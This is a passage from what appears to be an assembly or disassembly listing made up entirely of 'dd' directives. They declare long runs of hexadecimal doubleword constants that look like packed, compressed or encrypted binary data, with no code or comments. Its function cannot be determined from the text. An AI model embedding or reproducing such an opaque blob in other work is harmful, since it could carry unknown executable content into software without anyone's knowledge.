8D023B0Fh, 441C4C41h dd 0AC03B23Fh, 0D3CD60Bh, 366D7CE0h, 0AB164900h, 3428AC3h dd 19A30B9Bh, 3D016931h, 703A2F17h, 0D8097DD7h, 0C1FBFAB4h dd 34F81984h, 0F8BA0E53h, 0DCE13D87h, 70C3CB99h, 540063DAh dd 0FEFF1EF9h, 28C957E7h, 840EC6h, 0C2036E30h, 45404342h dd 0A60990Fh, 55052057h, 5CB94C8Fh, 923CC830h, 8AC9Eh dd 12EB81FEh, 60E25EE0h, 25383371h, 33D1352h, 0F014BC13h dd 0CD3714CDh, 60D707C8h, 0F0CCD33Eh, 6AF839h, 964F09B5h dd 2451B53h, 0E2D8AE00h, 75DB7A01h, 92E3F44h, 74231880h dd 0C77842C8h, 0AE8C0B02h, 40104738h, 6EEDC4h, 8D83455Bh dd 0CE37957h, 0E7823E19h, 0FEFC9568h, 53F500BEh, 0BDB5EE56h dd 0C807DC68h, 97713807h, 3E731BE0h, 120100E9h, 5F6EEF7Dh dd 8300D258h, 45504F0Bh, 24D94C2Fh, 4647EEEh, 0C123CFDDh dd 2BCBD0E4h, 0E60FA0h, 0F76B47D8h, 0CEAAFAF5h, 0F4005FFCh dd 5CEE06E1h, 59A5C640h, 9B1C047Eh, 0FF3E001Eh, 877910FAh dd 0B37AB5Ch, 0E316BBDCh, 5774B0B0h, 0D5CB04FCh, 80E103D7h dd 694714ACh, 824BBC90h, 6E245440h, 7C5742h, 921E088Dh dd 3FD4F3E7h, 0EFC08504h, 9CD0E230h, 15582E60h, 4849C681h dd 0A6FA9CC2h, 40030F2h, 200E0BECh, 1D5E874Bh, 0B47B36h dd 0C7385702h, 1C9ADB59h, 8EC91801h, 9E58A5BBh, 3FB45084h dd 7B9CD0AFh, 0C204B2E0h, 28374122h, 3D00BCA2h, 2AF6C7FAh dd 930E91A5h, 9BCEB8h, 0F94F17F7h, 8384CA4h, 0EEE6C113h dd 0E991DE00h, 0E65D947h, 546A5955h, 6610ABC7h, 0F00788Fh dd 0F095E6F4h, 73023D01h, 1D17F25h, 21123BBFh, 804A5C6Bh dd 0DE0AC5E0h, 2545DFh, 6CD38579h, 0A739CBC6h, 0EAFA2F00h dd 0BE9A3788h, 0DCCD0002h, 70B7C798h, 0FD1D8292h, 0EE80FADFh dd 83C26665h, 0D8E10061h, 380E20F8h, 1271234Bh, 0E8A63300h dd 578A8EC8h, 19940524h, 1EF3D0C7h, 93A58A8Ch, 51F492C0h dd 950E8CC8h, 7A40D856h, 8E68E7CEh, 0F91B6009h, 4B10091h dd 3C59FD26h, 0C7809BD5h, 985C6D6Ah, 0D01DAEC5h, 6B80B3A5h dd 793CB0B4h, 7DF64Bh, 2C159559h, 663A04E8h, 300190B8h dd 10198696h, 0B1F82E02h, 0EC80034Ah, 0E138F66Ah, 0C3A27FE0h dd 0E6289E00h, 234D0639h, 0EBFA00B7h, 0E97881D5h, 0BF058974h dd 3D3233F7h, 814F800h, 9EC3990h, 0E63BFA16h, 0E7266C00h dd 1730AE1Ah, 57A409EAh, 0E370010h, 0D054E07h, 0F1262C09h dd 3A402001h, 45D4A9h, 399A810Fh, 0E9241B09h, 351CD907h dd 0A473185Ch, 0E1DFC007h, 98CC2DAAh, 0EBA79C98h, 42F28700h dd 0BD0B03DDh, 0D0740E60h, 0B4B47638h, 0E6D41500h, 8A3B1982h dd 646AB807h, 85925633h, 18407787h, 0DF004135h, 0E0599513h dd 8F3C54h, 2039A81Fh, 0F35B1D46h, 0A2F4DC00h, 4938F7D3h dd 0BF612CB8h, 7FA9603Ch, 5D3F1118h, 809E3A65h, 0D3D1CE37h dd 185E55F1h, 0A2E7D5CFh, 9D00AD5Fh, 62401041h, 1FD66046h dd 0AE8AA5h, 0A230550Ah, 1C75A948h, 0D3A3404h, 0EC80BE98h dd 0F09E1Dh, 0AE81AC99h, 1779D69Bh, 86D59C1Bh, 0E8090011h dd 0A02C0D6Dh, 8EEC4E7Fh, 1383A00h, 663FFE8Ah, 0FA3500B9h dd 4133C3D3h, 0B417DD3Bh, 70538718h, 84E19600h, 1C119C9h dd 78FE2838h, 0F4A94961h, 5E0EDF8Eh, 0C054D9F2h, 0F6AD37D2h dd 0C0BE5AD6h, 4F9DA521h, 0F5EA7200h, 10064873h, 0C820F32Ch dd 814A16h, 9EFA766Ch, 220069C3h, 1BD302B5h, 623FBCh, 65031ACBh dd 959149E5h, 8CEB3Eh, 9C109F32h, 85AAB3h, 17B51926h, 0A4E18729h dd 0E2BC1507h, 63E035E8h, 167D794Bh, 266D34h, 6474A503h dd 1D0091CCh, 0B41DDE3h, 2C757C9h, 71279548h, 0B085C4E8h dd 0FAE8A02Dh, 49410609h, 0C9C52E4h, 3AF982ACh, 55390C09h dd 619803Eh, 130E022h, 1B04392Ch, 2E053876h, 6A0EEE00h dd 338B71C1h, 0F63B1AEEh, 634E1D72h, 0FA83B480h, 3C3AF0Eh dd 0FE364C1Dh, 0FBB317DCh, 0FCC0EDB1h, 0B008CE7h, 311ABC35h dd 3BBF730Ch, 0D2005CF0h, 80BD9CF1h, 0CD005154h, 0CE651DAAh dd 0FEC15Bh, 4907DFDAh, 41F21520h, 0D297203h, 0FF339DC0h dd 6D90ACA0h, 4D10C0BDh, 0E4EB617Ah, 99ED0100h, 0B4FD0635h dd 0B86C00D7h, 49A708D5h, 4D005D24h, 44296447h, 922E2Ch dd 0C1F4E7C8h, 5901C2B6h, 9ED07B00h, 1D674E4Bh, 0E3400D3h dd 5E48C9A2h, 330062EDh, 59FC7E76h, 3987758Ah, 380B64Ah dd 0A1902DBEh, 0D1020E65h, 99066B81h, 517C11Eh, 1A66D70h dd 0C5A429CCh, 0D09485CDh, 7A000FFFh, 0EB7BF7ACh, 2F6956h dd 82573018h, 0A058DAC1h, 70E06E00h, 9E75D40Ah, 0F8861EC6h dd 4154C012h, 0B3060A7h, 2E1C9F78h, 2B85A115h, 818A016h dd 0F058B09h, 620D062Ah, 20137C87h, 70FF37D8h, 1A9DC4Ch dd 0BCA59AABh, 0F4449F4Bh, 72D2EA00h, 761498Ch, 41518448h dd 0FBF250F3h, 3A4C31DDh, 6ED0058h, 7EB7376Fh, 561C58E4h dd 0A05A1200h, 21F77BF1h, 0B57FF300h, 6059E66Dh, 416A0311h dd 0C054D8DEh, 0C1B85E83h, 4B00500Eh, 0A6BC2D6Fh, 0E452AFBh dd 0A366A2BFh, 4457B820h, 4A7C7732h, 35E9381Fh, 1B414001h dd 18D41F6Ah, 9C5500A0h, 0D748573Eh, 223074B0h, 4EAB48C2h dd 959A035Dh, 0B312715Fh, 61F173F8h, 807A163Bh, 2E55A7F6h dd 9071DBD4h, 7D3500DDh, 17A5F22Fh, 0B807F043h, 0A41E3166h dd 2670D377h, 0D353CD7h, 57B6336Eh, 7FF5EC74h, 0A8009CE4h dd 4FD727E5h, 7805A2h, 8B517B0h, 69E9294Bh, 7BEB570Ah dd 6F0FE066h, 10DA6375h, 48C48E0Fh, 9B027CDCh, 8D52AFD5h dd 91696440h, 748AD824h, 0B6BDF601h, 4BF4B0FEh, 9C9A00DAh dd 99AB929Fh, 0A600DE0Ch, 0A3FB01B9h, 2CF45Dh, 0E5B8FFD3h dd 0AA722295h, 258B1601h, 2884BDFDh, 0F7DA4ECh, 1BD50927h dd 3492300h, 4F0035BCh, 9730B7ADh, 0E8EE8055h, 196200AEh dd 22DE4699h, 5A00A51Eh, 0AC21E9B6h, 0F43E01h, 9DC2B3BCh dd 6C2643E2h, 0C0104500h, 0FFA10C30h, 8EF20FDBh, 3262DFB2h dd 8542C53Eh, 74DC0DDh, 13AA0086h, 9BFF6966h, 1E3FC1F5h dd 0F9888E6Dh, 36A80C3h, 7F5062h, 0C23D9B0Ah, 9648DF0Bh dd 3C0F757Dh, 80FA9FA3h, 3FCC85B9h, 0F48D0041h, 0D398E8D7h dd 5C00A62Dh, 1DBBFD09h, 4BDFCBh, 0A3294578h, 0EFE0DCB6h dd 9839BE00h, 70D22D34h, 23741E08h, 0FAC40753h, 3EC5806Ah dd 5100B731h, 8DC625CBh, 0F32F0Ch, 181367AFh, 0C498345Bh dd 3CEEC21Dh, 0C2CFB50Ch, 7F351F9Bh, 6F344051h, 0C942768Fh dd 0DC57B42Dh, 5A730008h, 0FE7FAD53h, 1D0B2F03h, 0BFF0E70Ch dd 19FC006Fh, 35F5283h, 0E838554Dh, 290E99BCh, 203124F2h dd 5248B1CCh, 0D7FB0198h, 2866B4BBh, 8BC0D7C8h, 0D4036B82h dd 0EFB19434h, 0DCB7D8A4h, 0F83D0089h, 0AACC6F44h, 56009E14h dd 0E4BCF546h, 5C16BAh, 0DA1EADD7h, 67F97CD4h, 10000DE8h dd 3FE206A1h, 0E3E596h, 8D8049B2h, 0EC0A47C0h, 0E76AD00h dd 7B1FD8F5h, 9AA400F1h, 0A2D7E03Ch, 0E4F9F40Fh, 0AA00EA0Dh dd 63621447h, 0A5DDF2Fh, 7BA3E189h, 711B80D0h, 8296F010h dd 0ECA2000h, 0F7F67F2Ch, 0ED9900BEh, 0BB7E1B88h, 0D57BB4DAh dd 101D1230h, 7CB3BDD1h, 0A2C4003Dh, 0E48D6207h, 0A33CB951h dd 0A8C60153h, 0F3C8AA14h, 0F2A2E630h, 0EBAE00CDh, 6576F405h dd 0E207FAB4h, 73A6E7AAh, 216E4FC0h, 5ACF00CAh, 784CBBFFh dd 0F20019C6h, 0A7A13672h, 0BC8371h, 5D7E7CB4h, 8D446798h dd 1C07E278h, 6B965863h, 543C8270h, 3B4E3923h, 0DF7F2500h dd 368A2C19h, 68E15200h, 0A70B0643h, 0FD551D37h, 5ABB0059h dd 0CD233964h, 0D2FE62FAh, 311C3800h, 5F4B2E48h, 75700069h dd 8234DBE2h, 3C300C9Ch, 26B076D7h, 4FE600E7h, 150376D9h dd 0AD0F621Ah, 6749C21Fh, 0D020396Ch, 0FD17B654h, 511130h dd 48C03F52h, 811D2775h, 38DE4001h, 195C9A5Ah, 0DA2DCCh dd 6B634812h, 0EB68FBBDh, 0E5D5E703h, 9DFF5642h, 0E0937EC2h dd 27BECEh, 21ACFBC4h, 51E61553h, 1A252F0Fh, 6A680BDh dd 17F2338h, 480C6E09h, 0E4B1A0F1h, 0DC009F8Dh, 77F9C4FBh dd 955BE1h, 7F22AC68h, 30FAB253h, 0BEA37A0Ch, 1EEA68F8h dd 40C9780Dh, 4F5B688Eh, 0E7963B3h, 8335923Ah, 0DC076F85h dd 0B123D8CEh, 48EB7403h, 30381820h, 966DED87h, 3E7281F8h dd 0D346E02Eh, 1F0D6B0Ch, 242977h, 2B37130Ch, 61D0FA14h dd 326A0700h, 15965218h, 9EEE1DB2h, 0C6F0C0B6h, 719D1B3Ah dd 3EC09F48h, 824400E9h, 747254EEh, 0F7F67Ch, 7B842F9Ch dd 3E26E02Bh, 0B7187760h, 0D065EDh, 83D5DEBFh, 433BF09Fh dd 7D5FE301h, 22FFB6BBh, 0F46592C4h, 51806098h, 82775E13h dd 6A58F800h, 0B7A116C8h, 87F00D2h, 9FC36B70h, 4500449Ah dd 0FD9DBE1Bh, 323643h, 419EEC76h, 1270D8E6h, 0A6A78000h dd 0B81C49E1h, 0B7BD00B6h, 8FD438C9h, 0DA07908Dh, 0CAB3A57Fh dd 36CEB9C0h, 3B4100E8h, 5A03034h, 7C3B3507h, 0FD0072AFh dd 1E4A98C8h, 13D8638Eh, 14ED953h, 0F973795Dh, 962020B3h dd 0D23CB200h, 7DF6E491h, 386300CAh, 0F84746C6h, 1005215h dd 0E3048535h, 0FA7187FDh, 2E66000Ch, 0D7197677h, 8F00119Bh dd 0E283C356h, 309757Dh, 482AA81Bh, 0ABABEDB3h, 0CC0FE3A0h dd 6DE88007h, 0AEB0C213h, 1F8F0EA3h, 0A999B9h, 0B1EEEFE5h dd 0FE71DE8Dh, 771E3FFAh, 0EA80D3CDh, 0C186CCDDh, 97F703A6h dd 53FB9C05h, 3142A388h, 140C7200h, 1F97A36h, 6E9A2610h dd 0A121805Ch, 0A8370B6h, 7E766801h, 3FFF6B16h, 0FC674064h dd 0C48C0952h, 2423352Fh, 7798A3AFh, 0BF021397h, 4A86407Ch dd 3EE8C094h, 171B122Ah, 0C9080359h, 51747124h, 80440900h dd 2556720Fh, 826000DCh, 0E1B0CA22h, 642C324Fh, 0EB077D3Ah dd 1A00260Eh, 0B6769548h, 663124Ah, 51F6C3CDh, 10178B0h dd 470AC803h, 0D080215Dh, 1A6764B3h, 12014438h, 58A561A0h dd 0A2E8102Bh, 4FB86Ah, 0AD7CD8C4h, 3B26F074h, 85D73601h dd 83DD7507h, 0EF418C50h, 2F04075Ch, 893E2B6Ah, 90A0948Fh dd 0E37752C8h, 688B4D03h, 0B0EECDE4h, 26B3F0h, 3B5D73BDh dd 36AB134Bh, 69534000h, 0E179DB1Bh, 7251EA39h, 0D2613FA8h dd 1102B8DCh, 93D97428h, 273122C0h, 0E4A13D00h, 0F2A295B1h dd 0C24A003Ah, 1ADAC0A5h, 0E9C02BD7h, 3C4B3839h, 56073492h dd 0C705C058h, 1001B2C8h, 5FEC303Dh, 5AF09240h, 0D4823078h dd 0D8BACB38h, 0BE9060EBh, 841469EAh, 39ECB04Bh, 0EAF1875Fh dd 3AA38E50h, 0E2DC6077h, 11671916h, 52D36818h, 7F6A5048h dd 0F75B002Dh, 0B398A3BAh, 0A11DC0E7h, 0AECD173h, 75653703h dd 0CB4BD0ADh, 0B9810034h, 39EF33B7h, 770008B3h, 11577214h dd 646C29h, 91740E1Dh, 0E78CAA75h, 3EEF1E14h, 0A3FF0FBCh dd 20AB03BCh, 3D800022h, 4CF46E11h, 25126F33h, 0C499028h dd 3EC987Dh, 0F6B0B0A9h, 0A9BB58DEh, 4D216h, 0DFFE4637h dd 0B0014721h, 3A692577h, 0D4307589h, 48FE8Fh, 7F6892FAh dd 7753C1BAh, 59004CB0h, 39D6B50Fh, 74FA0Ah, 1CF81A09h dd 0A3CD240Dh, 0CAD09101h, 4DBD9B5Eh, 2BBFCCh, 0B84CA55Ch dd 0C0B1AF2Ch, 138E3200h, 57902ADFh, 97801AEh, 2F159DD9h dd 48CBE034h, 0F840F330h, 7337389h, 0D9AF0FD7h, 3D43AF9h dd 0F7DC8EBAh, 6122CFD9h, 0F3976000h, 0FFE42B54h, 95BE009h dd 0A92C006Fh, 0C0CDDEh, 0AF3A65DCh, 0B37A8580h, 9B641D00h dd 0B6BCEE1h, 2C4C905Bh, 0F4814Eh, 0B0C8722Ch, 1000688Fh dd 0DD34D8F8h, 517B4Bh, 0F98BBBE9h, 4D9A3ABFh, 78FAF100h dd 7768089Bh, 828100C7h, 547E1CE1h, 17123A03h, 0A04B3D07h dd 0C0B48EAFh, 1B4682B3h, 69A609B4h, 9C03C80Bh, 0E8227199h dd 0F1C32EFCh, 83C41E79h, 69E79C4Bh, 4EA161F3h, 3DCC202Eh dd 31E51384h, 0E7504014h, 88E40C3Eh, 0E9CE750Bh, 11BC0097h dd 0AE782E5Ah, 8DBF1034h, 6BE86761h, 62F360DFh, 0E511A7Ch dd 0DFC02A77h, 16E5A240h, 2537443Dh, 0F0C06C2Dh, 0A5B9ECBh dd 545E4F14h, 0DBB600DCh, 7934B27Ch, 0D84749h, 5A515097h dd 73086538h, 0EC4800B4h, 0EB2D3183h, 647EF419h, 0FF558100h dd 0F7A74E86h, 8ADD0076h, 78903634h, 27006962h, 8FC4EA94h dd 6CCD26h, 0C3DCD004h, 909FE93Ah, 6B60BA07h, 0E0A08710h dd 7862CB1h, 0F6EFD2C8h, 68801BD7h, 74E42D79h, 10981949h dd 0D09F1E28h, 6DC307B7h, 0F750798Fh, 461D65h, 9864B96Ch dd 56574E12h, 0F3EA1A0Ch, 49A7603Fh, 0AA0058E6h, 8D2A20B7h dd 310014E2h, 0A19ED412h, 0E6870Ch, 33A2FB4h, 502598F8h dd 8692FC0Bh, 5148833Ch, 882D8B80h, 2EEB81h, 0E2621849h dd 8C04E47Ah, 0B91D6CB0h, 1500C1E3h, 5DF6563Fh, 0E90F003Dh dd 661C3EBDh, 0A8C0551Dh, 39F25C28h, 89270072h, 4A95E8D3h dd 0C00B20Dh, 0FD4B6279h, 0FE0E9631h, 0E39000A3h, 0EC13408Dh dd 0C1004FF4h, 7C4C69B7h, 1814206h, 93103533h, 890D95FCh dd 1B4B308h, 82DDD440h, 0A400E221h, 4B2D96h, 0D5E8A13Bh dd 0D432BF37h, 19308400h dd 1A3D717Dh, 299B00D9h, 0EC6E1664h, 41F96CAEh, 50129A8Ch dd 7F71988h, 9817603h, 98F870BBh, 2447A31Dh, 26C0789Ah dd 53D580C8h, 5DB0148Dh, 0A69DFC00h, 0D7D16D0Eh, 0BC130A19h dd 43EC42BDh, 0D0FC2651h, 0B933109Ch, 740F0409h, 0C6DC80E2h dd 77304C50h, 25FD00ABh, 4A90917Ch, 0E4F603F1h, 3CC08009h dd 8040556h, 0FD802CC7h, 3AFF481h, 0C1D94E43h, 0DEE84C77h dd 0D112F00Eh, 800598Bh, 0CD767D07h, 54DF4DDCh, 0D46CC00h dd 0F18B2971h, 5E035CB2h, 0B56437C0h, 8310033Fh, 0FB5FC6D6h dd 50419190h, 259B3B00h, 7B6BF955h, 0DC9849D3h, 94D04F00h dd 8A5163FEh, 8BA61819h, 0C0482D18h, 0E18624DAh, 0CD3A00ADh dd 0E61F59DFh, 415138h, 2B2D76D9h, 3369C5h, 8F524B0Dh dd 72B2AFC4h, 0F29F163Eh, 0FEC6A3Dh, 18B5FDDCh, 1FAE708h dd 0E6740210h, 28E3ABD4h, 7DDD00F4h, 83CB8440h, 856E2406h dd 42874068h, 9C7823Ah, 9D80DB04h, 61B5Dh, 364D4B8Bh, 32512797h dd 0BE2A7E00h, 4AED406Bh, 0C43C0EF3h, 0B0EF23ADh, 0B38737A7h dd 56C8B43Bh, 0EC004352h, 0F63FA49Eh, 10E8A81h, 72CE98D2h dd 0E956C9B4h, 65083031h, 0D300DEE0h, 7CCFBC0Eh, 457E86h dd 23490308h, 40F65829h, 0CE7F5600h, 0F3B8F1BDh, 71E090B0h dd 715F2C2h, 38AE1AAAh, 3CECA055h, 0C0F84490h, 0D87A6705h dd 3E87CFA6h, 0D38C1D80h, 0BBF0F1EBh, 0B8E703A7h, 676883DFh dd 33E8CAABh, 713AA6ABh, 0D3850086h, 0BBE12439h, 82DF0042h dd 143421C7h, 25006CDCh, 0FA81CAF7h, 2B41E7h, 44CFAEEDh dd 497A074Ch, 1E371900h, 2864121Fh, 9A1300C9h, 759BF02Fh dd 6F008550h, 6AA77792h, 0F5D6DEh, 97173013h, 4ACE891Eh dd 0DDD7AD00h, 7F24728Fh, 3CD407A1h, 80BD2547h, 63C89F46h dd 340FC500h, 0C7E89752h, 162C077Eh, 1092833Ah, 264FE993h dd 131CA800h, 0A58D43A0h, 9F962650h, 0AC1E8388h, 0BAA1F8E6h dd 0DB1A20ECh, 55D553Dh, 3D76E8D8h, 327D0D1h, 0F4E969F0h dd 0F76F1EF2h, 84771860h, 0FB48D61Ah, 424D003Eh, 695F52AAh dd 99532C5Ch, 5BA80034h, 759025CBh, 0F95DE106h, 60E47Dh dd 0A35C4061h, 7A70949Ch, 99004579h, 0B58C143Eh, 35C997h dd 0A0ECB87Fh, 695C71FEh, 0B0268F0h, 0E0904EE4h, 8FCEE0FDh dd 812C0060h, 0D3CD037Eh, 70013749h, 7701BCA2h, 6CE06938h dd 0F64C0040h, 0E11F4315h, 71004F36h, 5F9343Fh, 0FCF499h dd 2A9648Eh, 0FF4214B6h, 4E926B01h, 0BA347062h, 23AE20h dd 0F6C3793Eh, 386C8577h, 672D5200h, 0C681B44Ah, 91A3B4Bh dd 0AE8A3281h, 0E8EB59FBh, 0B03F9D77h, 57658040h, 3E0D8DCDh dd 504EF4h, 9E460198h, 0DE00BDA2h, 86C2997h, 7D74AD7Bh dd 32964CCFh, 9D82FE00h, 0A6DF2B94h, 0F4F8E890h, 0F3C7A02h dd 780D3637h, 0DE270770h, 0C034417Ch, 5C21E031h, 3CE31E06h dd 2E35D8h, 3F2C25A8h, 37E21BD7h, 0CF22AE00h, 0A41FAB28h dd 60B177D2h, 6C6B60A5h, 0C4B22C14h, 18FE1724h, 736F1300h dd 987D7579h, 0BCB71EA4h, 1BB30C3Ah, 2F809411h, 3B648835h dd 0F8CB180Fh, 0A2037E20h, 0CB87D72h, 8C7BBE28h, 0A40036D1h dd 0E1216062h, 196F12AAh, 812BEBDAh, 66E97095h, 0A5CCB100h dd 6C6FEAAAh, 785A1FD6h, 0FFB0701Ah, 8C007AB2h, 271193DBh dd 7180EBC4h, 22E607FEh, 0EA878E1h, 2158C80h, 88004243h dd 0ECFF8DEBh, 0D8CD9Fh, 59531AC4h, 2C6DDD6Fh, 6BA4891Ch dd 18A2F1CCh, 80BB00A5h, 2439791h, 4606A3EAh, 43E2814h dd 0DE501620h, 230408Ch, 35BCEEEBh, 3643ECA0h, 8A2C8160h dd 1F64547Fh, 31990369h, 87E7C914h, 111F5740h, 552B9D81h dd 7868B3E0h, 6B28C161h, 5036AD24h, 0D8E5B988h, 8D15F7EEh dd 25802E01h, 0DE34A11Ah, 88865A68h, 51861814h, 6B807E03h dd 7765F1A9h, 0E0C03BD1h, 0EEA63483h, 410031E9h, 7393EB9Ch dd 94240F64h, 977F0064h, 322592C4h, 0EEFFE0C3h, 0AD4EE03Dh dd 0F09550E7h, 67A9F826h, 0B068719Ch, 3D7DA08Bh, 0FD752A00h dd 0CD6A4EE2h, 86660048h, 0B1D69229h, 5100DDA1h, 2ACF33D7h dd 770322h, 43AE5B49h, 7A9450C0h, 178AC700h, 72AC6131h dd 667ECEh, 48E1F33h, 994FA1FCh, 79216D00h, 0B84DC2F0h dd 0E6270092h, 0F4E9148Fh, 7E98437Fh, 19F78500h, 0B832B9C5h dd 1257179Eh, 1650002Ah, 6E2C05B3h, 83476400h, 629F84CEh dd 12790755h, 0E05BD1C6h, 8CA54C7Dh, 2F217400h, 0F90F6880h dd 0F69CA83Ah, 0FC27A23h, 2D3B4CB7h, 810709D9h, 0BFBB5621h dd 4205CD5h, 0EF1098Eh, 3C27EA28h, 5011F002h, 10C03929h dd 11C966Ah, 1FF0A82Ch, 70CF00C4h, 5B6C63D6h, 6F74FBC1h dd 20DE8398h, 25CFCA80h, 2CEF5D5h, 0D7C7E37h, 14402698h dd 24804C02h, 163144A8h, 17B0D002h, 4B3B6DBDh, 96180E34h dd 6482C211h, 620E311Dh, 645D8359h, 784B0040h, 1D11D2F0h dd 0E5EE3B0Dh, 5E600B74h, 0F0106641h, 6C5F1CB1h, 83EE40F5h dd 0F417D450h, 44843F0Ah, 7D112C39h, 0B4F01E80h, 448C6D11h dd 76004C64h, 7528DEF0h, 1E39FB4Fh, 0C22F0E49h, 2E83E97Fh dd 1884A440h, 0C060096Fh, 532B4519h, 8AF62Dh, 1CCC32A4h dd 0D9C1E2FFh, 4017D000h, 46C5FCBDh, 585903C9h, 0F290AA19h dd 180A321Eh, 0E88D2441h, 57122DBh, 7E233D8h, 6DFEEF7Eh dd 832CA088h, 5200A1B4h, 8B4EFAA5h, 44135Dh, 0EF70B341h dd 53342720h, 3917A2FEh, 4F044973h, 0B2808EBDh, 0F9802DCh dd 9608FCDEh, 8B2E0980h, 940F010Ch, 0E7B99003h, 0ACB04960h dd 1F8FB5Ah, 95BA47FCh, 0EF5BCB9Ah, 0D384C0ACh, 9B722868h dd 62DD761Eh, 1B055000h, 737F3BEh, 0F55F013Fh, 0C04B27BAh dd 82B26352h, 9E2358h, 356F0F72h, 1AEC225h, 48A26D57h dd 873C8CF4h, 2D119E88h, 871ECE60h, 0A953010Ch, 0BFF8A5ACh dd 8E90E0D7h, 85181F79h, 0F179E422h, 0FADA0042h, 4A0C1E5Dh dd 18C04C0Ah, 0E0CA98D9h, 0F5AC0835h, 290118C6h, 6AF009E8h dd 0A00AA130h, 6F48EEF7h, 87801020h, 99B32614h, 3409D20Ch dd 0EF7F190Dh, 20E84A10h, 0B404741h, 18FAF37Ah, 96740110h dd 2100C8F0h, 1B7F14BAh, 0B80E59B2h, 5B76073Ah, 302D79A8h dd 160C925Eh, 3610CB8h, 7EF9BA28h, 0CCD73080h, 0D80645B7h dd 65269773h, 603C9483h, 0F9212451h, 0BBAC4CECh, 5FC50778h dd 4A922Ah, 76A84722h, 6513F700h, 1CDA14FFh, 0F90E286h dd 0D2E53A93h, 9A6707h, 0B2F9B1BFh, 0EBD04800h, 0C85A893Eh dd 0DD5C2820h, 43683A9Dh, 3015D283h, 800FAE85h, 7B713F3Bh dd 3658C088h, 6C930F3Ch, 0D8E2926h, 7F5F3860h, 0CA0009A8h dd 242CB621h, 3A28AB40h, 0BF00CF79h, 6DFF5001h, 7D0E9715h dd 0AA1AA609h, 7A18C55Eh, 0D50F69h, 619AFA9Eh, 890512C5h dd 957380A8h, 1C98A262h, 0AF848022h, 372983h, 9A6F1579h dd 95EBD636h, 1B7F84ECh, 0B1C0A772h, 7E3DF833h, 0D41F0E65h dd 6600D6C0h, 8843D7FAh, 6F008CB0h, 5499790Dh, 3E559CC9h dd 13800B5Bh, 0DB7E4324h, 0A6079162h, 0BDB76E60h, 73034B10h dd 3BF001AFh, 1D5128A8h, 10440A4h, 10C0743Ah, 0C2A11BF9h dd 8866004Ch, 0F7E9E8E4h, 5E01C125h, 0BBF1FEBDh, 7EC85368h dd 2C29C49Eh, 0C37D44E5h, 0B42D548h, 274024A3h, 8944BC24h dd 0DC9E00B9h, 99EF10h, 0CF112406h, 0D2BF3D2Fh, 0C02C2E01h dd 0D2A92D7h dd 43E07BE9h, 977DD3h, 5605CD19h, 31FDD511h, 809C303Bh dd 17E97CA8h, 65F5DAEh, 0C4890737h, 400F143h, 7D228211h dd 27CFCDh, 0B05B59DAh, 4644E734h, 0CEC1BB16h, 0E5D6C900h dd 99A64Eh, 0DD098733h, 0D48D2752h, 6CA02800h, 0ED54725h dd 49171F46h, 81228070h, 51EEC37Ah, 9A00A7F0h, 0AB3175AFh dd 1CAD8E2Bh, 4F3EDC4Bh, 5785A324h, 95D40032h, 0A28C66C6h dd 0C8533528h, 99049003h, 0D973DD1Bh, 0A4609AA5h, 8A3500ADh dd 1E60515Fh, 8100E3F7h, 44D558FAh, 13B022h, 65B92638h dd 0DE692C60h, 9C9D0707h, 0CDB0E318h, 303F0DBh, 5C79861Fh dd 0E48864CEh, 0C200515Dh, 0D6B436E5h, 0CA4927h, 0ED14D76Fh dd 5244DFAh, 456C5800h, 9D925DF1h, 0F07AF0E9h, 30D40080h dd 366484A2h, 2E003305h, 0EC1FF6DDh, 194029Ah, 29DCC9FFh dd 0E8C756A6h, 0CA0079D5h, 9837480Bh, 583873h, 0D805C8ABh dd 0EE029C1Fh, 293B1790h, 0F8370051h, 0FA3552D9h, 61C4010Fh dd 50CB3EF2h, 7C3680FDh, 0E59A47F0h, 799CF677h, 0CAEC9Dh dd 572D6C37h, 0C91B5270h, 828A0C00h, 1C48F48Fh, 0E38500C1h dd 8EF89DBBh, 0E7124BC4h, 41D5h, 16E4BADFh, 842F396Eh dd 0A8E028h, 62334BD1h, 14F910C4h, 0CEFB8600h, 71B10A87h dd 13C6F408h, 0A4DE7Eh, 0E0FD0957h, 0B7008229h, 0CD782F35h dd 7F364h, 50BD52E7h, 8BC3E638h, 5D6D3Ah, 0B687F24Ah, 2C480ACCh dd 13ABB3h, 0E19664D7h, 1F04CDBh, 9921A200h, 6992EB1Fh dd 0DCCF0FB3h, 0A7401E23h, 0C16E0E80h, 0F0DD9305h, 0A000C082h dd 56D696A2h, 0D89400F2h, 0DBC1E7ECh, 0B000EBA7h, 0DCE888DAh dd 783AA4CEh, 3CAB1EC6h, 6A45478Ah, 7A0D806Ch, 7800B364h dd 0A5E86D69h, 8053952Fh, 721DFAE5h, 7501ECF7h, 0B03FAB20h dd 18A64B00h, 5B0094B0h, 8E2F42FDh, 320B5ACh, 44C484BDh dd 81883D26h, 250362BBh, 0E3098A22h, 0BED0F032h, 4B30008Dh dd 80199DCAh, 0FF03D2ADh, 0D9C29697h, 0EABBA8C8h, 65550160h dd 173D9240h, 1A6ECCFh, 83EFA500h, 56ABE0CCh, 4DF402E8h dd 0E62A2133h, 0FDCA8080h, 0F600D3F3h, 0D0C57446h, 48C40E51h dd 7300B850h, 6BAE5F3Bh, 8BB05DD5h, 0D85E9E30h, 30A3B190h dd 8208A1E4h, 2B005DF6h, 40B9C669h, 0BA5422h, 0B023462Ch dd 0C231E647h, 0F4B28A0Eh, 29B6093h, 0AA1812h, 0B3EE6D16h dd 98D5041Bh, 150F87F4h, 80F63721h, 0F34BF9C3h, 767A00BAh dd 87D4D1E3h, 6D008631h, 0A5CCEE12h, 9798BEh, 3D29C5E6h dd 0DB563A68h, 6C1FA226h, 9C608038h, 38E108Ch, 487200C1h dd 0A66D5A9Bh, 8402CD93h, 7FBAA8D0h, 2954604Bh, 7B998A3h dd 0AC39917Eh, 6E4D9080h, 38390E17h, 524E000Dh, 0AB2A4AC6h dd 0F48D0E2Eh, 1B03F006h, 8EEBC7E2h, 85AA4688h, 7372D400h dd 757BE496h, 0CEB60005h, 0E0B2E89Dh, 0C20F1058h, 0E031BBA0h dd 1B91B65h, 7C800E6h, 271DCFA2h, 55386FA7h, 206880D2h dd 0F6338D73h, 0ECF40429h, 0C190DA76h, 206EFADCh, 6C00CAB3h dd 79FC1460h, 9A286F9h, 0E3F32488h, 125D7420h, 0F403DA26h dd 2DC2565h, 69E49280h, 54D0300Ch, 978309B2h, 68004E5Bh dd 9E734B7Dh, 6BE80898h, 49AD3100h, 19020B2Fh, 0A0A600B9h dd 0EC1C375Ch, 0CD004E58h, 5E3A6BD9h, 0ADE55A1h, 57FA2FCBh dd 8B0A00ACh, 